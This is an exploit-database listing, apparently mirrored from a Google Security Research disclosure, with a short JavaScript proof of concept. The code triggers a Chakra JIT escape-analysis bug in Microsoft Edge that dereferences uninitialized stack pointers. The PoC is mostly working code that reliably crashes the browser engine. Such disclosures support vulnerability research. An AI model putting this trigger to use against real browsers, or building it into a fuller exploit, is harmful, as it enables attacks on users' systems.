Lucene search

K
zdtGoogle Security Research1337DAY-ID-29410
HistoryJan 09, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT - Escape Analysis Bug Exploit

2018-01-0900:00:00
Google Security Research
0day.today
23

0.949 High

EPSS

Percentile

99.1%

Exploit for windows platform in category dos / poc

/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
 
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
 
PoC:
*/
 
function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}
 
function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }
 
    print(opt());  // deref uninitialized stack pointers!
}
 
main();

#  0day.today [2018-03-01]  #